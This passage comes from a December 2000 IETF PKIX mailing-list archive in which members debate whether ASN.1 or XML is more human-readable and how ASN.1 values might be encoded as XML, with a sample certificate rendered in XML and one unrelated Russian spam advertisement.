Phil


Received: from femail6.sdc1.sfba.home.com (femail6.sdc1.sfba.home.com [24.0.95.86]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA23282 for <ietf-pkix@imc.org>; Sat, 9 Dec 2000 14:13:48 -0800 (PST)
Received: from C70777A ([24.15.87.228]) by femail6.sdc1.sfba.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20001209221611.WIUX24833.femail6.sdc1.sfba.home.com@C70777A>; Sat, 9 Dec 2000 14:16:11 -0800
Message-ID: <03cb01c0622d$c0d1d000$e4570f18@plstn1.sfba.home.com>
From: "Khaja E. Ahmed" <khaja.ahmed@home.com>
To: "Terry Hayes" <thayes@netscape.com>, "Anders Rundgren" <anders.rundgren@telia.com>
Cc: <pgut001@cs.auckland.ac.nz>, <ietf-pkix@imc.org>
References: <97623046120024@kahu.cs.auckland.ac.nz> <003601c061fd$b275ab10$0201a8c0@vincent.se> <3A327252.4020309@netscape.com>
Subject: Re: ASN.1 readability (was Re: Semi-annual reminder: dumpasn1 utility available)
Date: Sat, 9 Dec 2000 14:17:01 -0800
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700

I think what we are talking about here is the degree of readability or ease
of readability rather than just readability as a binary value.  I suspect
there are more people who "know in advance" what a "certificate"  or a
"subject" is than can recognize an OID representing these attributes.   I
suspect it can be agreed that "human readability" is not a binary value but
a continuum.  ASN.1 and XML are, it is being argued, at different spots on
this continuum.  XML is _more_ human readable than ASN.1.

Recognizing the highly subjective / non-quantifiable nature of such
assertions, it may be stated that:

1.) One needs to "know more" in order to read and understand ASN.1 encoded
information than would be necessary to read and understand the same
information encoded in XML.
2.) It takes less time to become proficient in XML than it does in ASN.1

At least that is what some people seen to believe.

Khaja


----- Original Message -----
From: "Terry Hayes" <thayes@netscape.com>
To: "Anders Rundgren" <anders.rundgren@telia.com>
Cc: <pgut001@cs.auckland.ac.nz>; <ietf-pkix@imc.org>
Sent: Saturday, December 09, 2000 9:56 AM
Subject: ASN.1 readability (was Re: Semi-annual reminder: dumpasn1 utility
available)


> Anders Rundgren wrote:
>
> > Peter,
> >
> >
> > 2. Referring to the XML vs ASN.1 debate I do not think human-readable is
entirely correct
> > as ASN.1 does not support that.  At least when I dissassembled a PKCS #7
> > package I could not see tags like Certificate, Subject, Issuer etc.
AFAIK (this
> > is not much when it comes to ASN.1) you have to _know_ in advance what
kind of data
> > structures you are dealing with in order to display such information.
>
> And you have to _know_ in advance what the "Certificate", "Subject" and
> "Issuer" might be representing, how they should be processed, and what
> they might be useful for.  "Human-readable" doesn't help write programs.
>
> Terry
>
>



Received: from levitator.1div0.com (node.061.ty.link.si [213.250.43.61]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA22602 for <ietf-pkix@imc.org>; Sat, 9 Dec 2000 13:33:13 -0800 (PST)
Received: from intergalactic ([10.1.1.2]) by levitator.1div0.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id WAA11231; Sat, 9 Dec 2000 22:19:22 +0100
Reply-To: <denis.bider@denisbider.com>
From: <denis.bider@siol.net>
Sender: "denis bider" <denis.bider@globera.com>
To: "'Anders Rundgren'" <anders.rundgren@telia.com>, <ietf-pkix@imc.org>
Subject: EDDF (Was: RE: Semi-annual reminder: dumpasn1 utility available)
Date: Sat, 9 Dec 2000 22:37:14 +0100
Message-ID: <004701c06228$330b0cf0$0201010a@intergalactic>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <003601c061fd$b275ab10$0201a8c0@vincent.se>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

> 2. Referring to the XML vs ASN.1 debate I do not think
> human-readable is entirely correct as ASN.1 does not
> support that.  At least when I dissassembled a PKCS #7
> package I could not see tags like Certificate, Subject,
> Issuer etc.  AFAIK (this is not much when it comes to
> ASN.1) you have to _know_ in advance what kind of data
> structures you are dealing with in order to display
> such information.

And by the way - I recently posted an EDDF announcement that received much
more attention in sci.crypt than it did here, although it is the people in
this group that it was primarily aimed at.

EDDF is an ASN.1-based data format that does exactly what you say ASN.1
doesn't do on its own: it provides some inherent sense for ASN.1 structures
in a manner very similar to XML. Of course, it is also technically much more
sound than XML. ;-)

If anyone is interested, I can compile a FAQ based on the recent discussion
in sci.crypt and post it here.

Regards,

denis

//
//  KEEP REAL CRYPTO, SAVE REAL MONEY
//  globera offers support for Crypto++, as well as
//  professional consulting and integration services
//  for practical applications of cryptography.
    Thanks to our location, we can offer quality
    services at compellingly reasonable rates.
    http://www.globera.com/services




Received: from mailb.telia.com (root@mailb.telia.com [194.22.194.6]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA21783 for <ietf-pkix@imc.org>; Sat, 9 Dec 2000 12:47:31 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by mailb.telia.com (8.9.3/8.9.3) with ESMTP id VAA07900; Sat, 9 Dec 2000 21:49:46 +0100 (CET)
Received: from mega (t1o69p82.telia.com [62.20.144.82]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eB9Knko10671; Sat, 9 Dec 2000 21:49:46 +0100 (CET)
Message-ID: <006901c06221$59269f00$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: "Terry Hayes" <thayes@netscape.com>, <ietf-pkix@imc.org>
Cc: <pgut001@cs.auckland.ac.nz>
References: <97623046120024@kahu.cs.auckland.ac.nz> <003601c061fd$b275ab10$0201a8c0@vincent.se> <3A327252.4020309@netscape.com>
Subject: Re: ASN.1 readability (was Re: Semi-annual reminder: dumpasn1 utility available)
Date: Sat, 9 Dec 2000 21:48:11 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id MAA21784

Terry,
 
> > 2. Referring to the XML vs ASN.1 debate I do not think human-readable is entirely correct
> > as ASN.1 does not support that.  At least when I dissassembled a PKCS #7
> > package I could not see tags like Certificate, Subject, Issuer etc.  AFAIK (this
> > is not much when it comes to ASN.1) you have to _know_ in advance what kind of data
> > structures you are dealing with in order to display such information.
> 
> And you have to _know_ in advance what the "Certificate", "Subject" and 
> "Issuer" might be representing, how they should be processed, and what 
> they might be useful for.  "Human-readable" doesn't help write programs.

Absolutely true, but if the elements represent data that two or more parties have to
agree upon, as for purchase orders (or why not ACs?), it helps a bit if the format gives some
aid to the debugging process.  Debugging was BTW the sole reason for me trying out Peter's
Dumpasn1 tool.  Using XML I would neither have had to "guess" element usage, nor use a "debugger".

Anders



Received: from netscape.com (h-205-217-237-47.netscape.com [205.217.237.47]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA19071 for <ietf-pkix@imc.org>; Sat, 9 Dec 2000 09:54:45 -0800 (PST)
Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.10.0/8.10.0) with ESMTP id eB9HmQ316955 for <ietf-pkix@imc.org>; Sat, 9 Dec 2000 09:48:26 -0800 (PST)
Received: from netscape.com ([205.217.229.174]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id G5BB6A00.P7F; Sat, 9 Dec 2000 09:56:34 -0800 
Message-ID: <3A327252.4020309@netscape.com>
Date: Sat, 09 Dec 2000 09:56:34 -0800
From: thayes@netscape.com (Terry Hayes)
User-Agent: Mozilla/5.0 (Windows; U; WinNT4.0; en-US; m18) Gecko/20001108 SeaMonkey6/6.0
X-Accept-Language: en
MIME-Version: 1.0
To: Anders Rundgren <anders.rundgren@telia.com>
CC: pgut001@cs.auckland.ac.nz, ietf-pkix@imc.org
Subject: ASN.1 readability (was Re: Semi-annual reminder: dumpasn1 utility available)
References: <97623046120024@kahu.cs.auckland.ac.nz> <003601c061fd$b275ab10$0201a8c0@vincent.se>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Anders Rundgren wrote:

> Peter,
> 
> 
> 2. Referring to the XML vs ASN.1 debate I do not think human-readable is entirely correct
> as ASN.1 does not support that.  At least when I dissassembled a PKCS #7
> package I could not see tags like Certificate, Subject, Issuer etc.  AFAIK (this
> is not much when it comes to ASN.1) you have to _know_ in advance what kind of data
> structures you are dealing with in order to display such information.

And you have to _know_ in advance what the "Certificate", "Subject" and 
"Issuer" might be representing, how they should be processed, and what 
they might be useful for.  "Human-readable" doesn't help write programs.

Terry




Received: from nt1.rocori.k12.mn.us (nt1.rocori.k12.mn.us [207.229.251.2]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA17717; Sat, 9 Dec 2000 09:12:34 -0800 (PST)
Message-Id: <200012091712.JAA17717@ns.secondary.com>
From: Mail Sender<postmaster@rusgoods.ru>
To: ietf-nntp-request@academ.com
CC: ietf-openpgp@imc.org, ietf-openpgp-request@imc.org, ietf-otp@research.telcordia.com, ietf-otp-request@research.telcordia.com, ietf-pkix@imc.org
Subject: Russian Goods and Service from Moscow
Reply-To: mailsender@mailsender.ru
Date: 09.12.2000
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii

www.rusgoods.com    www.rusgoods.ru
================================================================
We present you the production of the 1-st Moscow Watch Factory "Poljot" (Flying). From the simple mechanical 
watch of the series 2609 till unique, composite and precise mechanical o'clock - Marine timer . 
  It is unique factory in Russia, which makes mechanical hours with the Swiss quality. Factory, which makes 
watches for the Russian Air Forces , Russian Naval Forces. 
  All mechanical watch which we offer to you, will be delivered to you directly from the factory. If it isn't in the 
warehouse of the factory, we will place your order directly at the 1-st Moscow Watch Factory without any 
middlemans.
 The submarine "Kursk" had on board mechanical marine hronometr 6MX. 
 ===============================================================
The "table" of orders.    Here you can to order, to find, to know almost everything, than the Russia is rich, 
everything 
that does not contradict Russian Federation laws. 
Here you can receive or order:

The information about any enterprise, firm, organization, or person in Russia 
The production or any goods of Russian manufactories, and other things if it is possible. 
===============================================================
www.rusgoods.com    www.rusgoods.ru


Received: from mailb.telia.com (root@mailb.telia.com [194.22.194.6]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA16834 for <ietf-pkix@imc.org>; Sat, 9 Dec 2000 08:32:11 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by mailb.telia.com (8.9.3/8.9.3) with ESMTP id RAA20361; Sat, 9 Dec 2000 17:34:30 +0100 (CET)
Received: from mega (t5o69p104.telia.com [213.64.110.104]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eB9GYQo10733; Sat, 9 Dec 2000 17:34:30 +0100 (CET)
Message-ID: <003601c061fd$b275ab10$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: <pgut001@cs.auckland.ac.nz>, <ietf-pkix@imc.org>
References: <97623046120024@kahu.cs.auckland.ac.nz>
Subject: Re: Semi-annual reminder: dumpasn1 utility available
Date: Sat, 9 Dec 2000 17:32:56 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id IAA16835

Peter,

> This is a semi-annual reminder to people about dumpasn1, which picks apart
> ASN.1 data and displays it in human-readable form. 

I have to comments to this:

1. It seems like a very nice little utility which I had no problem to get running!

2. Referring to the XML vs ASN.1 debate I do not think human-readable is entirely correct
as ASN.1 does not support that.  At least when I dissassembled a PKCS #7
package I could not see tags like Certificate, Subject, Issuer etc.  AFAIK (this
is not much when it comes to ASN.1) you have to _know_ in advance what kind of data
structures you are dealing with in order to display such information.

<snip>


Anyway, a very good utility!

Anders




Received: from mailf.telia.com (root@mailf.telia.com [194.22.194.25]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id XAA24942 for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 23:17:05 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by mailf.telia.com (8.9.3/8.9.3) with ESMTP id IAA12587; Sat, 9 Dec 2000 08:19:13 +0100 (CET)
Received: from mega (t3o69p19.telia.com [62.20.145.19]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eB97JCo06030; Sat, 9 Dec 2000 08:19:12 +0100 (CET)
Message-ID: <002701c061b0$208b43b0$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: "PKIX-List" <ietf-pkix@imc.org>, "Tom Gindin" <tgindin@us.ibm.com>
Cc: <pbaker@verisign.com>, "Tim Polk" <tim.polk@nist.gov>, "Polar Humenn" <polar@adiron.com>
References: <OFCB451757.020F37A6-ON852569AF.00597E41@somers.hqregion.ibm.com>
Subject: Re: PKIXML session. Was: PKIX WG tentative agenda
Date: Sat, 9 Dec 2000 08:17:42 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id XAA24944

>The two contending standards start fresh, with a lead of roughly one year for the
> binary versions.  I don't think that S2ML or XMLDSIG are so mature that
> they wipe out the lead CMS has - and please remember, this is not prejudice
> against XMLDSIG.

Tom,
We are both speculating but we don't come to the same conclusion.

The AC+CMS thing is ready on paper, while XMLDSIG is not.

Now, I am more a believer in marketing than in technicalities (well, things must work
of course), so therefore I suspect that the lead will be reversed before the ink has dried on
the AC RFC.  At least if we count the number of projects involved, money raised and
general company support.  Not to mention media headlines :-) 

Anders




Received: from maynard.mail.mindspring.net (maynard.mail.mindspring.net [207.69.200.243]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id QAA16591 for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 16:33:02 -0800 (PST)
Received: from asn-1.com (user-2ivf73l.dialup.mindspring.com [165.247.156.117]) by maynard.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id TAA10037; Fri, 8 Dec 2000 19:35:11 -0500 (EST)
Message-ID: <3A317EF7.95F8B07A@asn-1.com>
Date: Fri, 08 Dec 2000 19:38:15 -0500
From: "Phillip H. Griffin" <phil.griffin@asn-1.com>
Reply-To: phil.griffin@asn-1.com
Organization: Griffin Consulting  
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "'asn1xml@oss.com'" <asn1xml@oss.com>
CC: "'PKIX'" <ietf-pkix@imc.org>
Subject: Re: asn1xml Re: PKIXML session.  Was: PKIX WG tentative agenda
References: <C3729BBB6099B344834634EC67DE4AE101507797@red-msg-01.redmond.corp.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Andrew Layman wrote:
> 
> I just happened to skim this, and notice that the dates don't fit the
> pattern called for by XML Schemas part 2.

Andrew,

This is part of the reason that an alternative
to our initial schema mapping approach has been 
proposed and why schema mapping has lost some of
its appeal.

But note that the dates do not have to fit any one
particular XML schema. For default mark up generation,
the values need only conform to the date requirements
for ASN.1 values given in X.680. 

What is critical to understand here is that ASN.1
provides a stable schema for values and structure
of data, and that XML mark up can be used to convey
ASN.1 specified values.

I anticipate that after the work is completed on 
default XML tagging, that a facility will be provided
that allows the default ASN.1 generated XML mark up 
to be completely controlled by the user. It seems
that the ECN work has demonstrated that this type
of capability can be provided through a notation
carried in separate files associated with an ASN.1
specification.

This should provide enough flexibility for tools to 
generate whatever format the user desires, including 
partially tagged data, HTML, HTML, XML, XML with DTD,
XML with XML-schema, XML with RELAX, XML with DT4DTD, 
etc. 

With any luck, users should also be able to generate 
plain text encodings and ASN.1 value notation.

Phil

> -----Original Message-----
> From: Phillip H. Griffin [mailto:phil.griffin@asn-1.com]
> Sent: Friday, December 08, 2000 12:10 PM
> To: 'PKIX'
> Cc: asn.1/xml
> Subject: asn1xml Re: PKIXML session. Was: PKIX WG tentative agenda
> 
> Steven Legg wrote:
> >
> > > -----Original Message-----
> > > From: Aram Perez [mailto:aram@pacbell.net]
> > > Sent: Friday, 8 December 2000 4:25
> > > To: PKIX
> > > Subject: FW: PKIXML session. Was: PKIX WG tentative agenda
> > >
> > >
> > > Just for fun, I've attached the PKIX example #1 certificate
> > > converted from
> > > ASN.1 to XML.
> > >
> > > Enjoy,
> > > Aram Perez
> >
> > That's one way to encode a certificate in XML, but not a method I find
> > particularly appealing. The following XML encoding of the same certificate
> > is my best guess (possibly way off) at what represents current thinking on
> > the ASN.1 group's XML encoding rules mailing list. I would name the
> elements
> > in a SET OF or SEQUENCE OF differently, but that is an argument for a
> > different forum.
> 
> Steven,
> 
> I can't speak for everyone involved in the ASN.1/
> XML work, but this is a very good guess as to where
> we seem to be headed. But there are many particulars
> still to be discussed and resolved and many different
> opinions to consider.
> 
> For example, the representation of OID values has
> spawned a great deal of discussion. While I have
> favored <tag>1.2.3.4</tag> that mimics the notation
> used in LDAP, other prefer the ASN.1 value notation
> format that you've used below. But there is also some
> sentiment for relying on the urn:oid work currently
> being progressed in the IETF, as well as proponents
> of the <tag>iso(1) identified-organization(3)</tag>
> style format.
> 
> And that's just one small issue. The work plan has
> just been announced and is scheduled for 22 January
> through 2 February 2001, in Geneva, Switzerland. For
> anyone that is interested, they might wish to monitor
> the discussion list at asn1xml@oss.com, as the details
> of this work are probably a bit off topic for pkix.
> 
> I would comment though that the benefit of this new
> notation is obscured somewhat by the examples being
> used. Certificates are not very interesting to look
> at for most humans in any format and seem to be at
> their best in a small, efficient binary format that
> is mechanically processed. Only a few of their parts
> have much use as display items.
> 
> These examples do serve to illustrate how verbose tagged
> text formats can be. But what will be more beneficial to
> consider for ASN.1 users I believe, will be the ability
> to generate default ASN.1 specified XML mark up for the
> likes of protocol messages, say perhaps the request and
> response messages specified in tools such as OCSP.
> 
> Phil
> 
> >
> > <Certificate>
> >   <toBeSigned>
> >     <version>
> >       v3
> >     </version>
> >     <serialNumber>
> >       17
> >     </serialNumber>
> >     <signature>
> >       <algorithm>
> >          { 1 2 840 10040 4 3 }
> >       </algorithm>
> >     </signature>
> >     <issuer>
> >       <rdnSequence>
> >         <RelativeDistinguishedName>
> >           <AttributeTypeAndValue>
> >             <type>{ 2 5 4 6 }</type>
> >             <value>US</value>
> >           </AttributeTypeAndValue>
> >         </RelativeDistinguishedName>
> >         <RelativeDistinguishedName>
> >           <AttributeTypeAndValue>
> >             <type>{ 2 5 4 10 }</type>
> >             <value>gov</value>
> >           </AttributeTypeAndValue>
> >         </RelativeDistinguishedName>
> >         <RelativeDistinguishedName>
> >           <AttributeTypeAndValue>
> >             <type>{ 2 5 4 11 }</type>
> >             <value>nist</value>
> >           </AttributeTypeAndValue>
> >         </RelativeDistinguishedName>
> >       </rdnSequence>
> >     </issuer>
> >     <validity>
> >       <notBefore>
> >         970630000000Z
> >       </notBefore>
> >       <notAfter>
> >         971231000000Z
> >       </notAfter>
> >     </validity>
> >     <subject>
> >       <rdnSequence>
> >         <RelativeDistinguishedName>
> >           <AttributeTypeAndValue>
> >             <type>{ 2 5 4 6 }</type>
> >             <value>US</value>
> >           </AttributeTypeAndValue>
> >         </RelativeDistinguishedName>
> >         <RelativeDistinguishedName>
> >           <AttributeTypeAndValue>
> >             <type>{ 2 5 4 10 }</type>
> >             <value>gov</value>
> >           </AttributeTypeAndValue>
> >         </RelativeDistinguishedName>
> >         <RelativeDistinguishedName>
> >           <AttributeTypeAndValue>
> >             <type>{ 2 5 4 11 }</type>
> >             <value>nist</value>
> >           </AttributeTypeAndValue>
> >         </RelativeDistinguishedName>
> >       </rdnSequence>
> >     </subject>
> >     <subjectPublicKeyInfo>
> >       <algorithm>
> >         <algorithm>{ 1 2 840 10040 4 1 }</algorithm>
> >         <parameters>
> >           <p>
> >             d43802c5357bd50ba17e5d72596355d3
> >             4556eae2251a6bc5a4abaa0bd462b4d2
> >             21b195a2c601c9c3fa016f7986833d03
> >             61e1f192acbc034e89a3c9534af7e2a6
> >             48cf421e21b15c2b3a7fbabe6b5af70a
> >             26d88e1bebecbf1e5a3f45c0bd3123be
> >             6971a7c290fea5d680b524dc449ceb4d
> >             f9daf0c8e8a24c99075c8e352b7d578d
> >           </p>
> >           <q>
> >             a7839bf3bd2c2007fc4ce7e89ff33983510ddcdd
> >           </q>
> >           <g>
> >             0e3b46318a0a58864084e3a1220d88ca
> >             908857649f0121e01505942482e21090
> >             d9e14e105ce7546bd40c2b1b590aa0b5
> >             a17db507e3657cea90d88e3042e485bb
> >             acfa4e764b780edf6ce5a6e1bd59777d
> >             a69759c529a7b33f953e9df1592df742
> >             87623ff1b86fc73d4bb88d74c4ca4490
> >             cf67dbde1460974ad1f76d9e0994c40d
> >           </g>
> >         </parameters>
> >       </algorithm>
> >       <subjectPublicKey>
> >         028180aa98ea1394a2dbf15b7f982f78
> >         e7d8e3b97186f6802f4039c3da3b4b13
> >         4626ee0d56c5a33a39b77d33c26b5c77
> >         92f255659039cd1a3c86e132eb25bc91
> >         c4ff804f3661bdcce26104e07e6013ca
> >         c09cdde0ea41de33c1f144a9bc71decf
> >         59d46eda44993c2164e478549dd07bba
> >         4ef5184d5e3930bfe0d1f6f483254f14
> >         aa71e1
> >       </subjectPublicKey>
> >     </subjectPublicKeyInfo>
> >     <extensions>
> >       <Extension>
> >           <extnId>
> >           { 2 5 29 19 }
> >         </extnId>
> >         <critical>
> >           TRUE
> >         </critical>
> >         <extnValue>
> >           30030101ff
> >         </extnValue>
> >       </Extension>
> >       <Extension>
> >         <extnId>
> >           { 2 5 29 14 }
> >         </extnId>
> >         <extnValue>
> >           0414e726c554cd5ba36f356895aad5ff1c21e42275d6
> >         </extnValue>
> >       </Extension>
> >     </extensions>
> >   </toBeSigned>
> >   <algorithmIdentifier>
> >     <algorithm>
> >       { 1 2 840 10040 4 3 }
> >     </algorithm>
> >   </algorithmIdentifier>
> >   <encrypted>
> >     302c0214a066c176339913518d93642f
> >     ca1373de791a7d3302145d90f6ce924a
> >     bf2911248028a65a8e73b6760268
> >   </encrypted>
> > </Certificate>
> >
> > Regards,
> > Steven


Received: from mail3.microsoft.com (mail3.microsoft.com [131.107.3.123]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id OAA14326 for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 14:52:19 -0800 (PST)
Received: from 157.54.9.100 by mail3.microsoft.com (InterScan E-Mail VirusWall NT); Fri, 08 Dec 2000 14:53:09 -0800 (Pacific Standard Time)
Received: by inet-imc-03.redmond.corp.microsoft.com with Internet Mail Service (5.5.2651.58) id <YQ1CG8C8>; Fri, 8 Dec 2000 14:53:56 -0800
Message-ID: <C3729BBB6099B344834634EC67DE4AE101507797@red-msg-01.redmond.corp.microsoft.com>
From: Andrew Layman <andrewl@microsoft.com>
To: "'asn1xml@oss.com'" <asn1xml@oss.com>, "'PKIX'" <ietf-pkix@imc.org>
Subject: RE: asn1xml Re: PKIXML session.  Was: PKIX WG tentative agenda
Date: Fri, 8 Dec 2000 14:53:52 -0800 
X-Mailer: Internet Mail Service (5.5.2651.58)

I just happened to skim this, and notice that the dates don't fit the
pattern called for by XML Schemas part 2.

-----Original Message-----
From: Phillip H. Griffin [mailto:phil.griffin@asn-1.com]
Sent: Friday, December 08, 2000 12:10 PM
To: 'PKIX'
Cc: asn.1/xml
Subject: asn1xml Re: PKIXML session. Was: PKIX WG tentative agenda


Steven Legg wrote:
> 
> > -----Original Message-----
> > From: Aram Perez [mailto:aram@pacbell.net]
> > Sent: Friday, 8 December 2000 4:25
> > To: PKIX
> > Subject: FW: PKIXML session. Was: PKIX WG tentative agenda
> >
> >
> > Just for fun, I've attached the PKIX example #1 certificate
> > converted from
> > ASN.1 to XML.
> >
> > Enjoy,
> > Aram Perez
> 
> That's one way to encode a certificate in XML, but not a method I find
> particularly appealing. The following XML encoding of the same certificate
> is my best guess (possibly way off) at what represents current thinking on
> the ASN.1 group's XML encoding rules mailing list. I would name the
elements
> in a SET OF or SEQUENCE OF differently, but that is an argument for a
> different forum.

Steven,

I can't speak for everyone involved in the ASN.1/
XML work, but this is a very good guess as to where
we seem to be headed. But there are many particulars 
still to be discussed and resolved and many different
opinions to consider. 

For example, the representation of OID values has
spawned a great deal of discussion. While I have
favored <tag>1.2.3.4</tag> that mimics the notation
used in LDAP, other prefer the ASN.1 value notation
format that you've used below. But there is also some
sentiment for relying on the urn:oid work currently 
being progressed in the IETF, as well as proponents
of the <tag>iso(1) identified-organization(3)</tag>
style format.

And that's just one small issue. The work plan has 
just been announced and is scheduled for 22 January
through 2 February 2001, in Geneva, Switzerland. For
anyone that is interested, they might wish to monitor
the discussion list at asn1xml@oss.com, as the details 
of this work are probably a bit off topic for pkix.

I would comment though that the benefit of this new
notation is obscured somewhat by the examples being
used. Certificates are not very interesting to look
at for most humans in any format and seem to be at 
their best in a small, efficient binary format that
is mechanically processed. Only a few of their parts
have much use as display items. 

These examples do serve to illustrate how verbose tagged
text formats can be. But what will be more beneficial to
consider for ASN.1 users I believe, will be the ability
to generate default ASN.1 specified XML mark up for the 
likes of protocol messages, say perhaps the request and 
response messages specified in tools such as OCSP. 

Phil

> 
> <Certificate>
>   <toBeSigned>
>     <version>
>       v3
>     </version>
>     <serialNumber>
>       17
>     </serialNumber>
>     <signature>
>       <algorithm>
>          { 1 2 840 10040 4 3 }
>       </algorithm>
>     </signature>
>     <issuer>
>       <rdnSequence>
>         <RelativeDistinguishedName>
>           <AttributeTypeAndValue>
>             <type>{ 2 5 4 6 }</type>
>             <value>US</value>
>           </AttributeTypeAndValue>
>         </RelativeDistinguishedName>
>         <RelativeDistinguishedName>
>           <AttributeTypeAndValue>
>             <type>{ 2 5 4 10 }</type>
>             <value>gov</value>
>           </AttributeTypeAndValue>
>         </RelativeDistinguishedName>
>         <RelativeDistinguishedName>
>           <AttributeTypeAndValue>
>             <type>{ 2 5 4 11 }</type>
>             <value>nist</value>
>           </AttributeTypeAndValue>
>         </RelativeDistinguishedName>
>       </rdnSequence>
>     </issuer>
>     <validity>
>       <notBefore>
>         970630000000Z
>       </notBefore>
>       <notAfter>
>         971231000000Z
>       </notAfter>
>     </validity>
>     <subject>
>       <rdnSequence>
>         <RelativeDistinguishedName>
>           <AttributeTypeAndValue>
>             <type>{ 2 5 4 6 }</type>
>             <value>US</value>
>           </AttributeTypeAndValue>
>         </RelativeDistinguishedName>
>         <RelativeDistinguishedName>
>           <AttributeTypeAndValue>
>             <type>{ 2 5 4 10 }</type>
>             <value>gov</value>
>           </AttributeTypeAndValue>
>         </RelativeDistinguishedName>
>         <RelativeDistinguishedName>
>           <AttributeTypeAndValue>
>             <type>{ 2 5 4 11 }</type>
>             <value>nist</value>
>           </AttributeTypeAndValue>
>         </RelativeDistinguishedName>
>       </rdnSequence>
>     </subject>
>     <subjectPublicKeyInfo>
>       <algorithm>
>         <algorithm>{ 1 2 840 10040 4 1 }</algorithm>
>         <parameters>
>           <p>
>             d43802c5357bd50ba17e5d72596355d3
>             4556eae2251a6bc5a4abaa0bd462b4d2
>             21b195a2c601c9c3fa016f7986833d03
>             61e1f192acbc034e89a3c9534af7e2a6
>             48cf421e21b15c2b3a7fbabe6b5af70a
>             26d88e1bebecbf1e5a3f45c0bd3123be
>             6971a7c290fea5d680b524dc449ceb4d
>             f9daf0c8e8a24c99075c8e352b7d578d
>           </p>
>           <q>
>             a7839bf3bd2c2007fc4ce7e89ff33983510ddcdd
>           </q>
>           <g>
>             0e3b46318a0a58864084e3a1220d88ca
>             908857649f0121e01505942482e21090
>             d9e14e105ce7546bd40c2b1b590aa0b5
>             a17db507e3657cea90d88e3042e485bb
>             acfa4e764b780edf6ce5a6e1bd59777d
>             a69759c529a7b33f953e9df1592df742
>             87623ff1b86fc73d4bb88d74c4ca4490
>             cf67dbde1460974ad1f76d9e0994c40d
>           </g>
>         </parameters>
>       </algorithm>
>       <subjectPublicKey>
>         028180aa98ea1394a2dbf15b7f982f78
>         e7d8e3b97186f6802f4039c3da3b4b13
>         4626ee0d56c5a33a39b77d33c26b5c77
>         92f255659039cd1a3c86e132eb25bc91
>         c4ff804f3661bdcce26104e07e6013ca
>         c09cdde0ea41de33c1f144a9bc71decf
>         59d46eda44993c2164e478549dd07bba
>         4ef5184d5e3930bfe0d1f6f483254f14
>         aa71e1
>       </subjectPublicKey>
>     </subjectPublicKeyInfo>
>     <extensions>
>       <Extension>
>           <extnId>
>           { 2 5 29 19 }
>         </extnId>
>         <critical>
>           TRUE
>         </critical>
>         <extnValue>
>           30030101ff
>         </extnValue>
>       </Extension>
>       <Extension>
>         <extnId>
>           { 2 5 29 14 }
>         </extnId>
>         <extnValue>
>           0414e726c554cd5ba36f356895aad5ff1c21e42275d6
>         </extnValue>
>       </Extension>
>     </extensions>
>   </toBeSigned>
>   <algorithmIdentifier>
>     <algorithm>
>       { 1 2 840 10040 4 3 }
>     </algorithm>
>   </algorithmIdentifier>
>   <encrypted>
>     302c0214a066c176339913518d93642f
